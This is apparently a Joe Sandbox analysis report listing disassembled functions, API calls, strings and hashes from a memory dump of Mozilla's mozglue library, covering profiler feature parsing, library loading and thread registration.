Opcode ID: 914cfe4b4572d42e95c4d728ef762d2a5573dac5eb8b95a4ffe579fb717a2db4
Instruction ID: 5a114312d1eab6c3c3a2e08aa082ea16a4d92e93be041af1a7d9ab09ee703649
Opcode Fuzzy Hash: 914cfe4b4572d42e95c4d728ef762d2a5573dac5eb8b95a4ffe579fb717a2db4
Instruction Fuzzy Hash: 805175707113239BDB01DF369D849263AF8AB46385FB4A425AD66E3A01EF74C901CF6D

Function 6C61CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C5E582D), ref: 6C61CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C5E582D), ref: 6C61CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C64FE98,?,?,?,?,?,6C5E582D), ref: 6C61CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C5E582D), ref: 6C61CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C5E582D), ref: 6C61CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C5E582D), ref: 6C61CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5E582D), ref: 6C61CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C61CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C61CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C61CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C61CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C61CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C61CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C61CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C61CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C61CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C61CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C61CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C61CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C61CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C61CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C61CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C61CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C61CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C61CE8A

Strings

mainthreadio, xrefs: 6C61CC7C
audiocallbacktracing, xrefs: 6C61CDD4
fileioall, xrefs: 6C61CCA8
preferencereads, xrefs: 6C61CD92
samplingallthreads, xrefs: 6C61CE2C
stackwalk, xrefs: 6C61CCF8
jsallocations, xrefs: 6C61CD0E
nostacksampling, xrefs: 6C61CD7C
java, xrefs: 6C61CC37
seqstyle, xrefs: 6C61CCE6
leaf, xrefs: 6C61CC66
nativeallocations, xrefs: 6C61CDA8
notimerresolutionchange, xrefs: 6C61CE00
cpuallthreads, xrefs: 6C61CE16
power, xrefs: 6C61CE84
default, xrefs: 6C61CC21
screenshots, xrefs: 6C61CCD4
processcpu, xrefs: 6C61CE6E
fileio, xrefs: 6C61CC92
ipcmessages, xrefs: 6C61CDBE
noiostacks, xrefs: 6C61CCBE
markersallthreads, xrefs: 6C61CE42
unregisteredthreads, xrefs: 6C61CE58
Unrecognized feature "%s"., xrefs: 6C61CEA0

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 386ac7a8fd4bb2e3223c7063e8c4484f4e58a13e202dab475ccaa6303ac5c390
Instruction ID: d3b00b400cd3820691a1b9e34c779d37908027b9086f277c5eee8db38f294f62
Opcode Fuzzy Hash: 386ac7a8fd4bb2e3223c7063e8c4484f4e58a13e202dab475ccaa6303ac5c390
Instruction Fuzzy Hash: E85144D1E5D62572FB01312D6D21BEE2485EF5324BF14C436EE0BA1F80FA05961AC9AF

Function 6C5E4470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C5E44B2,6C65E21C,6C65F7F8), ref: 6C5E473E
Part of subcall function 6C5E4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C5E474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C5E44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C5E44D2
InitOnceExecuteOnce.KERNEL32(6C65F80C,6C5DF240,?,?), ref: 6C5E451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C5E455C
LoadLibraryW.KERNEL32(?), ref: 6C5E4592
InitializeCriticalSection.KERNEL32(6C65F770), ref: 6C5E45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C5E45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C5E45BB
InitOnceExecuteOnce.KERNEL32(6C65F818,6C5DF240,?,?), ref: 6C5E4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C5E4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C5E4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C5E466D
VerSetConditionMask.NTDLL ref: 6C5E469F
VerSetConditionMask.NTDLL ref: 6C5E46AB
VerSetConditionMask.NTDLL ref: 6C5E46B2
VerSetConditionMask.NTDLL ref: 6C5E46B9
VerSetConditionMask.NTDLL ref: 6C5E46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C5E46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C5E46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C5E46FD

Strings

l, xrefs: 6C5E4578
Gel, xrefs: 6C5E44FC
WRusr.dll, xrefs: 6C5E44B5
kernel32.dll, xrefs: 6C5E44CD
user32.dll, xrefs: 6C5E4557, 6C5E463F
NativeNtBlockSet_Write, xrefs: 6C5E46F7

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: Gel$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-1815337822
Opcode ID: 496f2ac104e086c3632db3d72713949b9b9f942d51d471d36bbc694661b02aa3
Instruction ID: 26d91c04bde3dd1768c0c5bb053ff436fe25d81af04362e04d96a29858b94683
Opcode Fuzzy Hash: 496f2ac104e086c3632db3d72713949b9b9f942d51d471d36bbc694661b02aa3
Instruction Fuzzy Hash: DB6148B0600344AFEB00DFA2DC85BA57BB8FF8A308FB4C559E5049B641D3B18955CF9A

Function 6C61F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5E4A68), ref: 6C61945E
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C619470
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C619482
Part of subcall function 6C619420: __Init_thread_footer.LIBCMT ref: 6C61949F

GetCurrentThreadId.KERNEL32 ref: 6C61F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C61F8F9

Part of subcall function 6C5E6390: GetCurrentThreadId.KERNEL32 ref: 6C5E63D0
Part of subcall function 6C5E6390: AcquireSRWLockExclusive.KERNEL32 ref: 6C5E63DF
Part of subcall function 6C5E6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C5E640E

ReleaseSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61F93A
GetCurrentThreadId.KERNEL32 ref: 6C61F98A
GetCurrentThreadId.KERNEL32 ref: 6C61F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C61F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C61F716

Part of subcall function 6C6194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6194EE
Part of subcall function 6C6194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C619508

Part of subcall function 6C5DB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C5DB5E0

GetCurrentThreadId.KERNEL32 ref: 6C61F739
AcquireSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61F746
GetCurrentThreadId.KERNEL32 ref: 6C61F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C65385B,00000002,?,?,?,?,?), ref: 6C61F829
free.MOZGLUE(?,?,00000000,?), ref: 6C61F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C61F866
free.MOZGLUE(?), ref: 6C61FA0C

Part of subcall function 6C5E5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5E55E1), ref: 6C5E5E8C
Part of subcall function 6C5E5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5E5E9D
Part of subcall function 6C5E5E60: GetCurrentThreadId.KERNEL32 ref: 6C5E5EAB
Part of subcall function 6C5E5E60: GetCurrentThreadId.KERNEL32 ref: 6C5E5EB8
Part of subcall function 6C5E5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5E5ECF
Part of subcall function 6C5E5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C5E5F27
Part of subcall function 6C5E5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C5E5F47
Part of subcall function 6C5E5E60: GetCurrentProcess.KERNEL32 ref: 6C5E5F53
Part of subcall function 6C5E5E60: GetCurrentThread.KERNEL32 ref: 6C5E5F5C
Part of subcall function 6C5E5E60: GetCurrentProcess.KERNEL32 ref: 6C5E5F66
Part of subcall function 6C5E5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C5E5F7E

free.MOZGLUE(?), ref: 6C61F9C5
free.MOZGLUE(?), ref: 6C61F9DA

Strings

" attempted to re-register as ", xrefs: 6C61F858
[D %d/%d] profiler_register_thread(%s), xrefs: 6C61F71F
Thread , xrefs: 6C61F789
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C61F9A6

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: ff698f1877d4793fd90d3faf42e23938a7b33a47407d47f0afb828ae9bd0a524
Instruction ID: 1be84945678020b5c24d94113bfea9ba47491974eff2cfebc11960140b7f0eed
Opcode Fuzzy Hash: ff698f1877d4793fd90d3faf42e23938a7b33a47407d47f0afb828ae9bd0a524
Instruction Fuzzy Hash: F18105716083009FDB00DF29C880AAAB7F5EFC5308F95856DE94597B51EB30E849CB9B

Function 6C61EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5E4A68), ref: 6C61945E
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C619470
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C619482
Part of subcall function 6C619420: __Init_thread_footer.LIBCMT ref: 6C61949F

GetCurrentThreadId.KERNEL32 ref: 6C61EE60
AcquireSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61EE6D
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C61EEA5
CloseHandle.KERNEL32(?), ref: 6C61EEB4
free.MOZGLUE(00000000), ref: 6C61EEBB
GetCurrentThreadId.KERNEL32 ref: 6C61EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C61EECF

Part of subcall function 6C61DE60: GetCurrentThreadId.KERNEL32 ref: 6C61DE73
Part of subcall function 6C61DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C5E4A68), ref: 6C61DE7B
Part of subcall function 6C61DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C5E4A68), ref: 6C61DEB8
Part of subcall function 6C61DE60: free.MOZGLUE(00000000,?,6C5E4A68), ref: 6C61DEFE
Part of subcall function 6C61DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C61DF38

Part of subcall function 6C60CBE8: GetCurrentProcess.KERNEL32(?,6C5D31A7), ref: 6C60CBF1
Part of subcall function 6C60CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5D31A7), ref: 6C60CBFA

GetCurrentThreadId.KERNEL32 ref: 6C61EF1E
AcquireSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61EF2B
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61EF59
GetCurrentThreadId.KERNEL32 ref: 6C61EFB0
AcquireSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61EFBD
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61EFE1
GetCurrentThreadId.KERNEL32 ref: 6C61EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C61F000

Part of subcall function 6C6194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6194EE
Part of subcall function 6C6194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C619508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C61F02F

Part of subcall function 6C61F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C61F09B
Part of subcall function 6C61F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C61F0AC
Part of subcall function 6C61F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C61F0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6C61F008
[I %d/%d] profiler_stop, xrefs: 6C61EED7

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 22f3e534fbd88e51b9b2df107746291eae5c4f07bb97fa424bfc072b01131aa8
Instruction ID: a13ffb26a3f1973b54319232e5d005993d13ad4160e9eb8ffef0263df8222efc
Opcode Fuzzy Hash: 22f3e534fbd88e51b9b2df107746291eae5c4f07bb97fa424bfc072b01131aa8
Instruction Fuzzy Hash: 5D51F5357082109FDB00DB6AD4887AA7BB4EF8735AFB40529E91583F41D7758805CBAF

Function 6C5E5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5E5E9D

Part of subcall function 6C5F5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5F56EE,?,00000001), ref: 6C5F5B85
Part of subcall function 6C5F5B50: EnterCriticalSection.KERNEL32(6C65F688,?,?,?,6C5F56EE,?,00000001), ref: 6C5F5B90
Part of subcall function 6C5F5B50: LeaveCriticalSection.KERNEL32(6C65F688,?,?,?,6C5F56EE,?,00000001), ref: 6C5F5BD8
Part of subcall function 6C5F5B50: GetTickCount64.KERNEL32 ref: 6C5F5BE4

GetCurrentThreadId.KERNEL32 ref: 6C5E5EAB
GetCurrentThreadId.KERNEL32 ref: 6C5E5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5E5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C5E6017

Part of subcall function 6C5D4310: moz_xmalloc.MOZGLUE(00000010,?,6C5D42D2), ref: 6C5D436A
Part of subcall function 6C5D4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C5D42D2), ref: 6C5D4387

moz_xmalloc.MOZGLUE(00000004), ref: 6C5E5F47
GetCurrentProcess.KERNEL32 ref: 6C5E5F53
GetCurrentThread.KERNEL32 ref: 6C5E5F5C
GetCurrentProcess.KERNEL32 ref: 6C5E5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C5E5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C5E5F27

Part of subcall function 6C5ECA10: mozalloc_abort.MOZGLUE(?), ref: 6C5ECAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5E55E1), ref: 6C5E5E8C

Part of subcall function 6C5ECA10: malloc.MOZGLUE(?), ref: 6C5ECA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5E55E1), ref: 6C5E605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5E55E1), ref: 6C5E60CC

Strings

GeckoMain, xrefs: 6C5E5ECE, 6C5E6015

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 985ff353678303f19ffbf9b37be363784f6075c3e5b21aefbea04a605c3ce77a
Instruction ID: 3b859f8904aabc9f458b1a903f2ee8b0e1154d49472916a6f1ba0069a839595e
Opcode Fuzzy Hash: 985ff353678303f19ffbf9b37be363784f6075c3e5b21aefbea04a605c3ce77a
Instruction Fuzzy Hash: 7C71AFB0604740DFD704DF29C880A6ABBF0FF8A304F94496DE59687B52DB31E948CB96

Function 6C5E9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5D31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C5D3217
Part of subcall function 6C5D31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C5D3236
Part of subcall function 6C5D31C0: FreeLibrary.KERNEL32 ref: 6C5D324B
Part of subcall function 6C5D31C0: __Init_thread_footer.LIBCMT ref: 6C5D3260
Part of subcall function 6C5D31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C5D327F
Part of subcall function 6C5D31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5D328E
Part of subcall function 6C5D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5D32AB
Part of subcall function 6C5D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5D32D1
Part of subcall function 6C5D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C5D32E5
Part of subcall function 6C5D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C5D32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C5E9675
__Init_thread_footer.LIBCMT ref: 6C5E9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C5E96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C5E9707
__Init_thread_footer.LIBCMT ref: 6C5E971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5E9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C5E97B7
FreeLibrary.KERNEL32 ref: 6C5E97D0
FreeLibrary.KERNEL32 ref: 6C5E97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5E9824

Strings

NtMapViewOfSection, xrefs: 6C5E9701
MapViewOfFileNuma2, xrefs: 6C5E97B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C5E9670
ntdll.dll, xrefs: 6C5E96E3

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 0bac033aa76c9d3f8a872fdd19b014bdfb2d2ce07b9bb34b4e0a9ebe50db40d0
Instruction ID: 05d34653fbef03fce58023a461009a76c76fee2f688051da220c0397314f96a0
Opcode Fuzzy Hash: 0bac033aa76c9d3f8a872fdd19b014bdfb2d2ce07b9bb34b4e0a9ebe50db40d0
Instruction Fuzzy Hash: 2D61F171700201AFDF00DF6AECD4B9A7BB4EB8B354FA04529E91597780D730A858CB9A

Function 6C636660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C65F618), ref: 6C636694
GetThreadId.KERNEL32(?), ref: 6C6366B1
GetCurrentThreadId.KERNEL32 ref: 6C6366B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C6366E1
EnterCriticalSection.KERNEL32(6C65F618), ref: 6C636734
GetCurrentProcess.KERNEL32 ref: 6C63673A
LeaveCriticalSection.KERNEL32(6C65F618), ref: 6C63676C
GetCurrentThread.KERNEL32 ref: 6C6367FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C636868
RtlCaptureContext.NTDLL ref: 6C63687F

Strings

WalkStack64, xrefs: 6C636890

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

